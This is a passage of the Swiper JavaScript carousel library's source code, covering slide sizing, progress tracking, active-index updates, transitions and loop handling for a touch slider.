swiper.virtualSize = -spaceBetween;
// reset margins
if (rtl) {
slides.css({ marginLeft: '', marginTop: '' });
} else {
slides.css({ marginRight: '', marginBottom: '' });
}
var slidesNumberEvenToRows;
if (params.slidesPerColumn > 1) {
if (
Math.floor(slidesLength / params.slidesPerColumn) ===
slidesLength / swiper.params.slidesPerColumn
) {
slidesNumberEvenToRows = slidesLength;
} else {
slidesNumberEvenToRows =
Math.ceil(slidesLength / params.slidesPerColumn) *
params.slidesPerColumn;
}
if (
params.slidesPerView !== 'auto' &&
params.slidesPerColumnFill === 'row'
) {
slidesNumberEvenToRows = Math.max(
slidesNumberEvenToRows,
params.slidesPerView * params.slidesPerColumn
);
}
}
// Calc slides
var slideSize;
var slidesPerColumn = params.slidesPerColumn;
var slidesPerRow = slidesNumberEvenToRows / slidesPerColumn;
var numFullColumns =
slidesPerRow -
(params.slidesPerColumn * slidesPerRow - slidesLength);
for (var i = 0; i < slidesLength; i += 1) {
slideSize = 0;
var slide = slides.eq(i);
if (params.slidesPerColumn > 1) {
// Set slides order
var newSlideOrderIndex = void 0;
var column = void 0;
var row = void 0;
if (params.slidesPerColumnFill === 'column') {
column = Math.floor(i / slidesPerColumn);
row = i - column * slidesPerColumn;
if (
column > numFullColumns ||
(column === numFullColumns &&
row === slidesPerColumn - 1)
) {
row += 1;
if (row >= slidesPerColumn) {
row = 0;
column += 1;
}
}
newSlideOrderIndex =
column +
(row * slidesNumberEvenToRows) / slidesPerColumn;
slide.css({
'-webkit-box-ordinal-group': newSlideOrderIndex,
'-moz-box-ordinal-group': newSlideOrderIndex,
'-ms-flex-order': newSlideOrderIndex,
'-webkit-order': newSlideOrderIndex,
order: newSlideOrderIndex,
});
} else {
row = Math.floor(i / slidesPerRow);
column = i - row * slidesPerRow;
}
slide
.css(
'margin-' + (swiper.isHorizontal() ? 'top' : 'left'),
row !== 0 &&
params.spaceBetween &&
params.spaceBetween + 'px'
)
.attr('data-swiper-column', column)
.attr('data-swiper-row', row);
}
if (slide.css('display') === 'none') {
continue;
} // eslint-disable-line
if (params.slidesPerView === 'auto') {
var slideStyles = win.getComputedStyle(slide[0], null);
var currentTransform = slide[0].style.transform;
var currentWebKitTransform = slide[0].style.webkitTransform;
if (currentTransform) {
slide[0].style.transform = 'none';
}
if (currentWebKitTransform) {
slide[0].style.webkitTransform = 'none';
}
if (swiper.isHorizontal()) {
slideSize =
slide[0].getBoundingClientRect().width +
parseFloat(
slideStyles.getPropertyValue('margin-left')
) +
parseFloat(
slideStyles.getPropertyValue('margin-right')
);
} else {
slideSize =
slide[0].getBoundingClientRect().height +
parseFloat(slideStyles.getPropertyValue('margin-top')) +
parseFloat(
slideStyles.getPropertyValue('margin-bottom')
);
}
if (currentTransform) {
slide[0].style.transform = currentTransform;
}
if (currentWebKitTransform) {
slide[0].style.webkitTransform = currentWebKitTransform;
}
if (params.roundLengths) {
slideSize = Math.floor(slideSize);
}
} else {
slideSize =
(swiperSize - (params.slidesPerView - 1) * spaceBetween) /
params.slidesPerView;
if (params.roundLengths) {
slideSize = Math.floor(slideSize);
}
if (slides[i]) {
if (swiper.isHorizontal()) {
slides[i].style.width = slideSize + 'px';
} else {
slides[i].style.height = slideSize + 'px';
}
}
}
if (slides[i]) {
slides[i].swiperSlideSize = slideSize;
}
slidesSizesGrid.push(slideSize);
if (params.centeredSlides) {
slidePosition =
slidePosition +
slideSize / 2 +
prevSlideSize / 2 +
spaceBetween;
if (prevSlideSize === 0 && i !== 0) {
slidePosition =
slidePosition - swiperSize / 2 - spaceBetween;
}
if (i === 0) {
slidePosition =
slidePosition - swiperSize / 2 - spaceBetween;
}
if (Math.abs(slidePosition) < 1 / 1000) {
slidePosition = 0;
}
if (params.roundLengths) {
slidePosition = Math.floor(slidePosition);
}
if (index % params.slidesPerGroup === 0) {
snapGrid.push(slidePosition);
}
slidesGrid.push(slidePosition);
} else {
if (params.roundLengths) {
slidePosition = Math.floor(slidePosition);
}
if (index % params.slidesPerGroup === 0) {
snapGrid.push(slidePosition);
}
slidesGrid.push(slidePosition);
slidePosition = slidePosition + slideSize + spaceBetween;
}
swiper.virtualSize += slideSize + spaceBetween;
prevSlideSize = slideSize;
index += 1;
}
swiper.virtualSize =
Math.max(swiper.virtualSize, swiperSize) + offsetAfter;
var newSlidesGrid;
if (
rtl &&
wrongRTL &&
(params.effect === 'slide' || params.effect === 'coverflow')
) {
$wrapperEl.css({
width: swiper.virtualSize + params.spaceBetween + 'px',
});
}
if (!Support.flexbox || params.setWrapperSize) {
if (swiper.isHorizontal()) {
$wrapperEl.css({
width: swiper.virtualSize + params.spaceBetween + 'px',
});
} else {
$wrapperEl.css({
height: swiper.virtualSize + params.spaceBetween + 'px',
});
}
}
if (params.slidesPerColumn > 1) {
swiper.virtualSize =
(slideSize + params.spaceBetween) * slidesNumberEvenToRows;
swiper.virtualSize =
Math.ceil(swiper.virtualSize / params.slidesPerColumn) -
params.spaceBetween;
if (swiper.isHorizontal()) {
$wrapperEl.css({
width: swiper.virtualSize + params.spaceBetween + 'px',
});
} else {
$wrapperEl.css({
height: swiper.virtualSize + params.spaceBetween + 'px',
});
}
if (params.centeredSlides) {
newSlidesGrid = [];
for (var i$1 = 0; i$1 < snapGrid.length; i$1 += 1) {
var slidesGridItem = snapGrid[i$1];
if (params.roundLengths) {
slidesGridItem = Math.floor(slidesGridItem);
}
if (snapGrid[i$1] < swiper.virtualSize + snapGrid[0]) {
newSlidesGrid.push(slidesGridItem);
}
}
snapGrid = newSlidesGrid;
}
}
// Remove last grid elements depending on width
if (!params.centeredSlides) {
newSlidesGrid = [];
for (var i$2 = 0; i$2 < snapGrid.length; i$2 += 1) {
var slidesGridItem$1 = snapGrid[i$2];
if (params.roundLengths) {
slidesGridItem$1 = Math.floor(slidesGridItem$1);
}
if (snapGrid[i$2] <= swiper.virtualSize - swiperSize) {
newSlidesGrid.push(slidesGridItem$1);
}
}
snapGrid = newSlidesGrid;
if (
Math.floor(swiper.virtualSize - swiperSize) -
Math.floor(snapGrid[snapGrid.length - 1]) >
1
) {
snapGrid.push(swiper.virtualSize - swiperSize);
}
}
if (snapGrid.length === 0) {
snapGrid = [0];
}
if (params.spaceBetween !== 0) {
if (swiper.isHorizontal()) {
if (rtl) {
slides.css({ marginLeft: spaceBetween + 'px' });
} else {
slides.css({ marginRight: spaceBetween + 'px' });
}
} else {
slides.css({ marginBottom: spaceBetween + 'px' });
}
}
Utils.extend(swiper, {
slides: slides,
snapGrid: snapGrid,
slidesGrid: slidesGrid,
slidesSizesGrid: slidesSizesGrid,
});
if (slidesLength !== previousSlidesLength) {
swiper.emit('slidesLengthChange');
}
if (snapGrid.length !== previousSnapGridLength) {
if (swiper.params.watchOverflow) {
swiper.checkOverflow();
}
swiper.emit('snapGridLengthChange');
}
if (slidesGrid.length !== previousSlidesGridLength) {
swiper.emit('slidesGridLengthChange');
}
if (params.watchSlidesProgress || params.watchSlidesVisibility) {
swiper.updateSlidesOffset();
}
}
function updateAutoHeight(speed) {
var swiper = this;
var activeSlides = [];
var newHeight = 0;
var i;
if (typeof speed === 'number') {
swiper.setTransition(speed);
} else if (speed === true) {
swiper.setTransition(swiper.params.speed);
}
// Find slides currently in view
if (
swiper.params.slidesPerView !== 'auto' &&
swiper.params.slidesPerView > 1
) {
for (i = 0; i < Math.ceil(swiper.params.slidesPerView); i += 1) {
var index = swiper.activeIndex + i;
if (index > swiper.slides.length) {
break;
}
activeSlides.push(swiper.slides.eq(index)[0]);
}
} else {
activeSlides.push(swiper.slides.eq(swiper.activeIndex)[0]);
}
// Find new height from highest slide in view
for (i = 0; i < activeSlides.length; i += 1) {
if (typeof activeSlides[i] !== 'undefined') {
var height = activeSlides[i].offsetHeight;
newHeight = height > newHeight ? height : newHeight;
}
}
// Update Height
if (newHeight) {
swiper.$wrapperEl.css('height', newHeight + 'px');
}
}
function updateSlidesOffset() {
var swiper = this;
var slides = swiper.slides;
for (var i = 0; i < slides.length; i += 1) {
slides[i].swiperSlideOffset = swiper.isHorizontal()
? slides[i].offsetLeft
: slides[i].offsetTop;
}
}
function updateSlidesProgress(translate) {
if (translate === void 0) translate = (this && this.translate) || 0;
var swiper = this;
var params = swiper.params;
var slides = swiper.slides;
var rtl = swiper.rtlTranslate;
if (slides.length === 0) {
return;
}
if (typeof slides[0].swiperSlideOffset === 'undefined') {
swiper.updateSlidesOffset();
}
var offsetCenter = -translate;
if (rtl) {
offsetCenter = translate;
}
// Visible Slides
slides.removeClass(params.slideVisibleClass);
for (var i = 0; i < slides.length; i += 1) {
var slide = slides[i];
var slideProgress =
(offsetCenter +
(params.centeredSlides ? swiper.minTranslate() : 0) -
slide.swiperSlideOffset) /
(slide.swiperSlideSize + params.spaceBetween);
if (params.watchSlidesVisibility) {
var slideBefore = -(offsetCenter - slide.swiperSlideOffset);
var slideAfter = slideBefore + swiper.slidesSizesGrid[i];
var isVisible =
(slideBefore >= 0 && slideBefore < swiper.size) ||
(slideAfter > 0 && slideAfter <= swiper.size) ||
(slideBefore <= 0 && slideAfter >= swiper.size);
if (isVisible) {
slides.eq(i).addClass(params.slideVisibleClass);
}
}
slide.progress = rtl ? -slideProgress : slideProgress;
}
}
function updateProgress(translate) {
if (translate === void 0) translate = (this && this.translate) || 0;
var swiper = this;
var params = swiper.params;
var translatesDiff = swiper.maxTranslate() - swiper.minTranslate();
var progress = swiper.progress;
var isBeginning = swiper.isBeginning;
var isEnd = swiper.isEnd;
var wasBeginning = isBeginning;
var wasEnd = isEnd;
if (translatesDiff === 0) {
progress = 0;
isBeginning = true;
isEnd = true;
} else {
progress = (translate - swiper.minTranslate()) / translatesDiff;
isBeginning = progress <= 0;
isEnd = progress >= 1;
}
Utils.extend(swiper, {
progress: progress,
isBeginning: isBeginning,
isEnd: isEnd,
});
if (params.watchSlidesProgress || params.watchSlidesVisibility) {
swiper.updateSlidesProgress(translate);
}
if (isBeginning && !wasBeginning) {
swiper.emit('reachBeginning toEdge');
}
if (isEnd && !wasEnd) {
swiper.emit('reachEnd toEdge');
}
if ((wasBeginning && !isBeginning) || (wasEnd && !isEnd)) {
swiper.emit('fromEdge');
}
swiper.emit('progress', progress);
}
function updateSlidesClasses() {
var swiper = this;
var slides = swiper.slides;
var params = swiper.params;
var $wrapperEl = swiper.$wrapperEl;
var activeIndex = swiper.activeIndex;
var realIndex = swiper.realIndex;
var isVirtual = swiper.virtual && params.virtual.enabled;
slides.removeClass(
params.slideActiveClass +
' ' +
params.slideNextClass +
' ' +
params.slidePrevClass +
' ' +
params.slideDuplicateActiveClass +
' ' +
params.slideDuplicateNextClass +
' ' +
params.slideDuplicatePrevClass
);
var activeSlide;
if (isVirtual) {
activeSlide = swiper.$wrapperEl.find(
'.' +
params.slideClass +
'[data-swiper-slide-index="' +
activeIndex +
'"]'
);
} else {
activeSlide = slides.eq(activeIndex);
}
// Active classes
activeSlide.addClass(params.slideActiveClass);
if (params.loop) {
// Duplicate to all looped slides
if (activeSlide.hasClass(params.slideDuplicateClass)) {
$wrapperEl
.children(
'.' +
params.slideClass +
':not(.' +
params.slideDuplicateClass +
')[data-swiper-slide-index="' +
realIndex +
'"]'
)
.addClass(params.slideDuplicateActiveClass);
} else {
$wrapperEl
.children(
'.' +
params.slideClass +
'.' +
params.slideDuplicateClass +
'[data-swiper-slide-index="' +
realIndex +
'"]'
)
.addClass(params.slideDuplicateActiveClass);
}
}
// Next Slide
var nextSlide = activeSlide
.nextAll('.' + params.slideClass)
.eq(0)
.addClass(params.slideNextClass);
if (params.loop && nextSlide.length === 0) {
nextSlide = slides.eq(0);
nextSlide.addClass(params.slideNextClass);
}
// Prev Slide
var prevSlide = activeSlide
.prevAll('.' + params.slideClass)
.eq(0)
.addClass(params.slidePrevClass);
if (params.loop && prevSlide.length === 0) {
prevSlide = slides.eq(-1);
prevSlide.addClass(params.slidePrevClass);
}
if (params.loop) {
// Duplicate to all looped slides
if (nextSlide.hasClass(params.slideDuplicateClass)) {
$wrapperEl
.children(
'.' +
params.slideClass +
':not(.' +
params.slideDuplicateClass +
')[data-swiper-slide-index="' +
nextSlide.attr('data-swiper-slide-index') +
'"]'
)
.addClass(params.slideDuplicateNextClass);
} else {
$wrapperEl
.children(
'.' +
params.slideClass +
'.' +
params.slideDuplicateClass +
'[data-swiper-slide-index="' +
nextSlide.attr('data-swiper-slide-index') +
'"]'
)
.addClass(params.slideDuplicateNextClass);
}
if (prevSlide.hasClass(params.slideDuplicateClass)) {
$wrapperEl
.children(
'.' +
params.slideClass +
':not(.' +
params.slideDuplicateClass +
')[data-swiper-slide-index="' +
prevSlide.attr('data-swiper-slide-index') +
'"]'
)
.addClass(params.slideDuplicatePrevClass);
} else {
$wrapperEl
.children(
'.' +
params.slideClass +
'.' +
params.slideDuplicateClass +
'[data-swiper-slide-index="' +
prevSlide.attr('data-swiper-slide-index') +
'"]'
)
.addClass(params.slideDuplicatePrevClass);
}
}
}
function updateActiveIndex(newActiveIndex) {
var swiper = this;
var translate = swiper.rtlTranslate
? swiper.translate
: -swiper.translate;
var slidesGrid = swiper.slidesGrid;
var snapGrid = swiper.snapGrid;
var params = swiper.params;
var previousIndex = swiper.activeIndex;
var previousRealIndex = swiper.realIndex;
var previousSnapIndex = swiper.snapIndex;
var activeIndex = newActiveIndex;
var snapIndex;
if (typeof activeIndex === 'undefined') {
for (var i = 0; i < slidesGrid.length; i += 1) {
if (typeof slidesGrid[i + 1] !== 'undefined') {
if (
translate >= slidesGrid[i] &&
translate <
slidesGrid[i + 1] -
(slidesGrid[i + 1] - slidesGrid[i]) / 2
) {
activeIndex = i;
} else if (
translate >= slidesGrid[i] &&
translate < slidesGrid[i + 1]
) {
activeIndex = i + 1;
}
} else if (translate >= slidesGrid[i]) {
activeIndex = i;
}
}
// Normalize slideIndex
if (params.normalizeSlideIndex) {
if (activeIndex < 0 || typeof activeIndex === 'undefined') {
activeIndex = 0;
}
}
}
if (snapGrid.indexOf(translate) >= 0) {
snapIndex = snapGrid.indexOf(translate);
} else {
snapIndex = Math.floor(activeIndex / params.slidesPerGroup);
}
if (snapIndex >= snapGrid.length) {
snapIndex = snapGrid.length - 1;
}
if (activeIndex === previousIndex) {
if (snapIndex !== previousSnapIndex) {
swiper.snapIndex = snapIndex;
swiper.emit('snapIndexChange');
}
return;
}
// Get real index
var realIndex = parseInt(
swiper.slides.eq(activeIndex).attr('data-swiper-slide-index') ||
activeIndex,
10
);
Utils.extend(swiper, {
snapIndex: snapIndex,
realIndex: realIndex,
previousIndex: previousIndex,
activeIndex: activeIndex,
});
swiper.emit('activeIndexChange');
swiper.emit('snapIndexChange');
if (previousRealIndex !== realIndex) {
swiper.emit('realIndexChange');
}
swiper.emit('slideChange');
}
function updateClickedSlide(e) {
var swiper = this;
var params = swiper.params;
var slide = $(e.target).closest('.' + params.slideClass)[0];
var slideFound = false;
if (slide) {
for (var i = 0; i < swiper.slides.length; i += 1) {
if (swiper.slides[i] === slide) {
slideFound = true;
}
}
}
if (slide && slideFound) {
swiper.clickedSlide = slide;
if (swiper.virtual && swiper.params.virtual.enabled) {
swiper.clickedIndex = parseInt(
$(slide).attr('data-swiper-slide-index'),
10
);
} else {
swiper.clickedIndex = $(slide).index();
}
} else {
swiper.clickedSlide = undefined;
swiper.clickedIndex = undefined;
return;
}
if (
params.slideToClickedSlide &&
swiper.clickedIndex !== undefined &&
swiper.clickedIndex !== swiper.activeIndex
) {
swiper.slideToClickedSlide();
}
}
var update = {
updateSize: updateSize,
updateSlides: updateSlides,
updateAutoHeight: updateAutoHeight,
updateSlidesOffset: updateSlidesOffset,
updateSlidesProgress: updateSlidesProgress,
updateProgress: updateProgress,
updateSlidesClasses: updateSlidesClasses,
updateActiveIndex: updateActiveIndex,
updateClickedSlide: updateClickedSlide,
};
function getTranslate(axis) {
if (axis === void 0) axis = this.isHorizontal() ? 'x' : 'y';
var swiper = this;
var params = swiper.params;
var rtl = swiper.rtlTranslate;
var translate = swiper.translate;
var $wrapperEl = swiper.$wrapperEl;
if (params.virtualTranslate) {
return rtl ? -translate : translate;
}
var currentTranslate = Utils.getTranslate($wrapperEl[0], axis);
if (rtl) {
currentTranslate = -currentTranslate;
}
return currentTranslate || 0;
}
function setTranslate(translate, byController) {
var swiper = this;
var rtl = swiper.rtlTranslate;
var params = swiper.params;
var $wrapperEl = swiper.$wrapperEl;
var progress = swiper.progress;
var x = 0;
var y = 0;
var z = 0;
if (swiper.isHorizontal()) {
x = rtl ? -translate : translate;
} else {
y = translate;
}
if (params.roundLengths) {
x = Math.floor(x);
y = Math.floor(y);
}
if (!params.virtualTranslate) {
if (Support.transforms3d) {
$wrapperEl.transform(
'translate3d(' + x + 'px, ' + y + 'px, ' + z + 'px)'
);
} else {
$wrapperEl.transform('translate(' + x + 'px, ' + y + 'px)');
}
}
swiper.previousTranslate = swiper.translate;
swiper.translate = swiper.isHorizontal() ? x : y;
// Check if we need to update progress
var newProgress;
var translatesDiff = swiper.maxTranslate() - swiper.minTranslate();
if (translatesDiff === 0) {
newProgress = 0;
} else {
newProgress = (translate - swiper.minTranslate()) / translatesDiff;
}
if (newProgress !== progress) {
swiper.updateProgress(translate);
}
swiper.emit('setTranslate', swiper.translate, byController);
}
function minTranslate() {
return -this.snapGrid[0];
}
function maxTranslate() {
return -this.snapGrid[this.snapGrid.length - 1];
}
var translate = {
getTranslate: getTranslate,
setTranslate: setTranslate,
minTranslate: minTranslate,
maxTranslate: maxTranslate,
};
function setTransition(duration, byController) {
var swiper = this;
swiper.$wrapperEl.transition(duration);
swiper.emit('setTransition', duration, byController);
}
function transitionStart(runCallbacks, direction) {
if (runCallbacks === void 0) runCallbacks = true;
var swiper = this;
var activeIndex = swiper.activeIndex;
var params = swiper.params;
var previousIndex = swiper.previousIndex;
if (params.autoHeight) {
swiper.updateAutoHeight();
}
var dir = direction;
if (!dir) {
if (activeIndex > previousIndex) {
dir = 'next';
} else if (activeIndex < previousIndex) {
dir = 'prev';
} else {
dir = 'reset';
}
}
swiper.emit('transitionStart');
if (runCallbacks && activeIndex !== previousIndex) {
if (dir === 'reset') {
swiper.emit('slideResetTransitionStart');
return;
}
swiper.emit('slideChangeTransitionStart');
if (dir === 'next') {
swiper.emit('slideNextTransitionStart');
} else {
swiper.emit('slidePrevTransitionStart');
}
}
}
function transitionEnd$1(runCallbacks, direction) {
if (runCallbacks === void 0) runCallbacks = true;
var swiper = this;
var activeIndex = swiper.activeIndex;
var previousIndex = swiper.previousIndex;
swiper.animating = false;
swiper.setTransition(0);
var dir = direction;
if (!dir) {
if (activeIndex > previousIndex) {
dir = 'next';
} else if (activeIndex < previousIndex) {
dir = 'prev';
} else {
dir = 'reset';
}
}
swiper.emit('transitionEnd');
if (runCallbacks && activeIndex !== previousIndex) {
if (dir === 'reset') {
swiper.emit('slideResetTransitionEnd');
return;
}
swiper.emit('slideChangeTransitionEnd');
if (dir === 'next') {
swiper.emit('slideNextTransitionEnd');
} else {
swiper.emit('slidePrevTransitionEnd');
}
}
}
var transition$1 = {
setTransition: setTransition,
transitionStart: transitionStart,
transitionEnd: transitionEnd$1,
};
function slideTo(index, speed, runCallbacks, internal) {
if (index === void 0) index = 0;
if (speed === void 0) speed = this.params.speed;
if (runCallbacks === void 0) runCallbacks = true;
var swiper = this;
var slideIndex = index;
if (slideIndex < 0) {
slideIndex = 0;
}
var params = swiper.params;
var snapGrid = swiper.snapGrid;
var slidesGrid = swiper.slidesGrid;
var previousIndex = swiper.previousIndex;
var activeIndex = swiper.activeIndex;
var rtl = swiper.rtlTranslate;
if (swiper.animating && params.preventInteractionOnTransition) {
return false;
}
var snapIndex = Math.floor(slideIndex / params.slidesPerGroup);
if (snapIndex >= snapGrid.length) {
snapIndex = snapGrid.length - 1;
}
if (
(activeIndex || params.initialSlide || 0) ===
(previousIndex || 0) &&
runCallbacks
) {
swiper.emit('beforeSlideChangeStart');
}
var translate = -snapGrid[snapIndex];
// Update progress
swiper.updateProgress(translate);
// Normalize slideIndex
if (params.normalizeSlideIndex) {
for (var i = 0; i < slidesGrid.length; i += 1) {
if (
-Math.floor(translate * 100) >=
Math.floor(slidesGrid[i] * 100)
) {
slideIndex = i;
}
}
}
// Directions locks
if (swiper.initialized && slideIndex !== activeIndex) {
if (
!swiper.allowSlideNext &&
translate < swiper.translate &&
translate < swiper.minTranslate()
) {
return false;
}
if (
!swiper.allowSlidePrev &&
translate > swiper.translate &&
translate > swiper.maxTranslate()
) {
if ((activeIndex || 0) !== slideIndex) {
return false;
}
}
}
var direction;
if (slideIndex > activeIndex) {
direction = 'next';
} else if (slideIndex < activeIndex) {
direction = 'prev';
} else {
direction = 'reset';
}
// Update Index
if (
(rtl && -translate === swiper.translate) ||
(!rtl && translate === swiper.translate)
) {
swiper.updateActiveIndex(slideIndex);
// Update Height
if (params.autoHeight) {
swiper.updateAutoHeight();
}
swiper.updateSlidesClasses();
if (params.effect !== 'slide') {
swiper.setTranslate(translate);
}
if (direction !== 'reset') {
swiper.transitionStart(runCallbacks, direction);
swiper.transitionEnd(runCallbacks, direction);
}
return false;
}
if (speed === 0 || !Support.transition) {
swiper.setTransition(0);
swiper.setTranslate(translate);
swiper.updateActiveIndex(slideIndex);
swiper.updateSlidesClasses();
swiper.emit('beforeTransitionStart', speed, internal);
swiper.transitionStart(runCallbacks, direction);
swiper.transitionEnd(runCallbacks, direction);
} else {
swiper.setTransition(speed);
swiper.setTranslate(translate);
swiper.updateActiveIndex(slideIndex);
swiper.updateSlidesClasses();
swiper.emit('beforeTransitionStart', speed, internal);
swiper.transitionStart(runCallbacks, direction);
if (!swiper.animating) {
swiper.animating = true;
if (!swiper.onSlideToWrapperTransitionEnd) {
swiper.onSlideToWrapperTransitionEnd = function transitionEnd(
e
) {
if (!swiper || swiper.destroyed) {
return;
}
if (e.target !== this) {
return;
}
swiper.$wrapperEl[0].removeEventListener(
'transitionend',
swiper.onSlideToWrapperTransitionEnd
);
swiper.$wrapperEl[0].removeEventListener(
'webkitTransitionEnd',
swiper.onSlideToWrapperTransitionEnd
);
swiper.onSlideToWrapperTransitionEnd = null;
delete swiper.onSlideToWrapperTransitionEnd;
swiper.transitionEnd(runCallbacks, direction);
};
}
swiper.$wrapperEl[0].addEventListener(
'transitionend',
swiper.onSlideToWrapperTransitionEnd
);
swiper.$wrapperEl[0].addEventListener(
'webkitTransitionEnd',
swiper.onSlideToWrapperTransitionEnd
);
}
}
return true;
}
function slideToLoop(index, speed, runCallbacks, internal) {
if (index === void 0) index = 0;
if (speed === void 0) speed = this.params.speed;
if (runCallbacks === void 0) runCallbacks = true;
var swiper = this;
var newIndex = index;
if (swiper.params.loop) {
newIndex += swiper.loopedSlides;
}
return swiper.slideTo(newIndex, speed, runCallbacks, internal);
}
/* eslint no-unused-vars: "off" */
function slideNext(speed, runCallbacks, internal) {
if (speed === void 0) speed = this.params.speed;
if (runCallbacks === void 0) runCallbacks = true;
var swiper = this;
var params = swiper.params;
var animating = swiper.animating;
if (params.loop) {
if (animating) {
return false;
}
swiper.loopFix();
// eslint-disable-next-line
swiper._clientLeft = swiper.$wrapperEl[0].clientLeft;
return swiper.slideTo(
swiper.activeIndex + params.slidesPerGroup,
speed,
runCallbacks,
internal
);
}
return swiper.slideTo(
swiper.activeIndex + params.slidesPerGroup,
speed,
runCallbacks,
internal
);
}
/* eslint no-unused-vars: "off" */
function slidePrev(speed, runCallbacks, internal) {
if (speed === void 0) speed = this.params.speed;
if (runCallbacks === void 0) runCallbacks = true;
var swiper = this;
var params = swiper.params;
var animating = swiper.animating;
var snapGrid = swiper.snapGrid;
var slidesGrid = swiper.slidesGrid;
var rtlTranslate = swiper.rtlTranslate;
if (params.loop) {
if (animating) {
return false;
}
swiper.loopFix();
// eslint-disable-next-line
swiper._clientLeft = swiper.$wrapperEl[0].clientLeft;
}
var translate = rtlTranslate ? swiper.translate : -swiper.translate;
function normalize(val) {
if (val < 0) {
return -Math.floor(Math.abs(val));
}
return Math.floor(val);
}
var normalizedTranslate = normalize(translate);
var normalizedSnapGrid = snapGrid.map(function (val) {
return normalize(val);
});
var normalizedSlidesGrid = slidesGrid.map(function (val) {
return normalize(val);
});
var currentSnap =
snapGrid[normalizedSnapGrid.indexOf(normalizedTranslate)];
var prevSnap =
snapGrid[normalizedSnapGrid.indexOf(normalizedTranslate) - 1];
var prevIndex;
if (typeof prevSnap !== 'undefined') {
prevIndex = slidesGrid.indexOf(prevSnap);
if (prevIndex < 0) {
prevIndex = swiper.activeIndex - 1;
}
}
return swiper.slideTo(prevIndex, speed, runCallbacks, internal);
}
/* eslint no-unused-vars: "off" */
function slideReset(speed, runCallbacks, internal) {
if (speed === void 0) speed = this.params.speed;
if (runCallbacks === void 0) runCallbacks = true;
var swiper = this;
return swiper.slideTo(
swiper.activeIndex,
speed,
runCallbacks,
internal
);
}
/* eslint no-unused-vars: "off" */
function slideToClosest(speed, runCallbacks, internal) {
if (speed === void 0) speed = this.params.speed;
if (runCallbacks === void 0) runCallbacks = true;
var swiper = this;
var index = swiper.activeIndex;
var snapIndex = Math.floor(index / swiper.params.slidesPerGroup);
if (snapIndex < swiper.snapGrid.length - 1) {
var translate = swiper.rtlTranslate
? swiper.translate
: -swiper.translate;
var currentSnap = swiper.snapGrid[snapIndex];
var nextSnap = swiper.snapGrid[snapIndex + 1];
if (translate - currentSnap > (nextSnap - currentSnap) / 2) {
index = swiper.params.slidesPerGroup;
}
}
return swiper.slideTo(index, speed, runCallbacks, internal);
}
function slideToClickedSlide() {
var swiper = this;
var params = swiper.params;
var $wrapperEl = swiper.$wrapperEl;
var slidesPerView =
params.slidesPerView === 'auto'
? swiper.slidesPerViewDynamic()
: params.slidesPerView;
var slideToIndex = swiper.clickedIndex;
var realIndex;
if (params.loop) {
if (swiper.animating) {
return;
}
realIndex = parseInt(
$(swiper.clickedSlide).attr('data-swiper-slide-index'),
10
);
if (params.centeredSlides) {
if (
slideToIndex < swiper.loopedSlides - slidesPerView / 2 ||
slideToIndex >
swiper.slides.length -
swiper.loopedSlides +
slidesPerView / 2
) {
swiper.loopFix();
slideToIndex = $wrapperEl
.children(
'.' +
params.slideClass +
'[data-swiper-slide-index="' +
realIndex +
'"]:not(.' +
params.slideDuplicateClass +
')'
)
.eq(0)
.index();
Utils.nextTick(function () {
swiper.slideTo(slideToIndex);
});
} else {
swiper.slideTo(slideToIndex);
}
} else if (slideToIndex > swiper.slides.length - slidesPerView) {
swiper.loopFix();
slideToIndex = $wrapperEl
.children(
'.' +
params.slideClass +
'[data-swiper-slide-index="' +
realIndex +
'"]:not(.' +
params.slideDuplicateClass +
')'
)
.eq(0)
.index();
Utils.nextTick(function () {
swiper.slideTo(slideToIndex);
});
} else {
swiper.slideTo(slideToIndex);
}
} else {
swiper.slideTo(slideToIndex);
}
}
var slide = {
slideTo: slideTo,
slideToLoop: slideToLoop,
slideNext: slideNext,
slidePrev: slidePrev,
slideReset: slideReset,
slideToClosest: slideToClosest,
slideToClickedSlide: slideToClickedSlide,
};
function loopCreate() {
var swiper = this;
var params = swiper.params;
var $wrapperEl = swiper.$wrapperEl;
// Remove duplicated slides
$wrapperEl
.children(
'.' + params.slideClass + '.' + params.slideDuplicateClass
)
.remove();
var slides = $wrapperEl.children('.' + params.slideClass);
if (params.loopFillGroupWithBlank) {
var blankSlidesNum =
params.slidesPerGroup - (slides.length % params.slidesPerGroup);
if (blankSlidesNum !== params.slidesPerGroup) {
for (var i = 0; i < blankSlidesNum; i += 1) {
var blankNode = $(doc.createElement('div')).addClass(
params.slideClass + ' ' + params.slideBlankClass
);
$wrapperEl.append(blankNode);
}
slides = $wrapperEl.children('.' + params.slideClass);
}
}
if (params.slidesPerView === 'auto' && !params.loopedSlides) {
params.loopedSlides = slides.length;
}
swiper.loopedSlides = parseInt(
params.loopedSlides || params.slidesPerView,
10
);
swiper.loopedSlides += params.loopAdditionalSlides;
if (swiper.loopedSlides > slides.length) {
swiper.loopedSlides = slides.length;
}
var prependSlides = [];
var appendSlides = [];
slides.each(function (index, el) {
var slide = $(el);
if (index < swiper.loopedSlides) {
appendSlides.push(el);
}
if (
index < slides.length &&
index >= slides.length - swiper.loopedSlides
) {
prependSlides.push(el);
}
slide.attr('data-swiper-slide-index', index);
});
for (var i$1 = 0; i$1 < appendSlides.length; i$1 += 1) {
$wrapperEl.append(
$(appendSlides[i$1].cloneNode(true)).addClass(
params.slideDuplicateClass
)
);
}
for (var i$2 = prependSlides.length - 1; i$2 >= 0; i$2 -= 1) {
$wrapperEl.prepend(
$(prependSlides[i$2].cloneNode(true)).addClass(
params.slideDuplicateClass
)
);
}
}
function loopFix() {
var swiper = this;
var params = swiper.params;
var activeIndex = swiper.activeIndex;
var slides = swiper.slides;
var loopedSlides = swiper.loopedSlides;
var allowSlidePrev = swiper.allowSlidePrev;
var allowSlideNext = swiper.allowSlideNext;
var snapGrid = swiper.snapGrid;
var rtl = swiper.rtlTranslate;
var newIndex;
swiper.allowSlidePrev = true;
swiper.allowSlideNext = true;
var snapTranslate = -snapGrid[activeIndex];
var diff = snapTranslate - swiper.getTranslate();
// Fix For Negative Oversliding
if (activeIndex < loopedSlides) {
newIndex = slides.length - loopedSlides * 3 + activeIndex;
newIndex += loopedSlides;
var slideChanged = swiper.slideTo(newIndex, 0, false, true);
if (slideChanged && diff !== 0) {
swiper.setTranslate(
(rtl ? -swiper.translate : swiper.translate) - diff
);
}
} else if (
(params.slidesPerView === 'auto' &&
activeIndex >= loopedSlides * 2) ||
activeIndex >= slides.length - loopedSlides
) {
// Fix For Positive Oversliding
newIndex = -slides.length + activeIndex + loopedSlides;
newIndex += loopedSlides;
var slideChanged$1 = swiper.slideTo(newIndex, 0, false, true);
if (slideChanged$1 && diff !== 0) {
